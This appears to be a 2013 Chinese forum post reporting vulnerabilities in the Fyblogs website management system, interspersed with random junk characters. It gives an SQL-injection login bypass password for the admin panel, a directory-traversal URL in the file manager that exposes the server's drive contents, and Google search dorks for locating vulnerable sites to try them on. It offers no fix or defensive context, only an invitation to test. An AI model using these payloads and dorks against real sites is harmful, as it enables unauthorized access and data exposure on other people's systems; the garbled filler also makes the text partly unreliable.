漏洞类型： 未授权访问/权限绕过
; m1 ^& m% s- o% G3 f+ v" z1 l' @" z
简要描述：! o2 J6 A9 G' R4 i0 F4 S2 u
. H, ]' X1 f0 T" J& `
Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
6 }7 i* Y& U$ t6 j
+ V" [# @. r& u( }/ Z- l详细说明：
. h' w7 S! l5 X
% u6 f/ @% F, p. n- A+ ^6 ~0 J6 L后台万能密码 'or'='or'1 m9 A3 f/ I& K) w
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
, k) l2 n4 k# U1 n) [4 D2 [2 Xadmin/uploadfile.asp?currentFolder=/upfiles/../2 [( M; P7 G5 X# e. P
5 c/ }# P1 g2 T5 y; k$ h漏洞证明： G0 E4 N3 v0 ~ x' G0 O/ D
4 N9 x% r/ y0 O) r; @$ v( L6 z% S
谷歌：inurl:type.asp?id=1 新闻中心
( {8 f) C1 s' s6 b: r1 o0 d1 A或者 ：inurl:download_ok.asp?( A+ K/ ^( b# B- v2 O
4 m$ z: G8 B+ N; c* B L
可以测试
1 \) ]/ {6 j% o) W l3 y8 _$ L
2 B0 _, h- y& Q, Z" `$ r* z( ^2 i; [
|
发表于 2013-3-7 13:07:46
收藏
支持
反对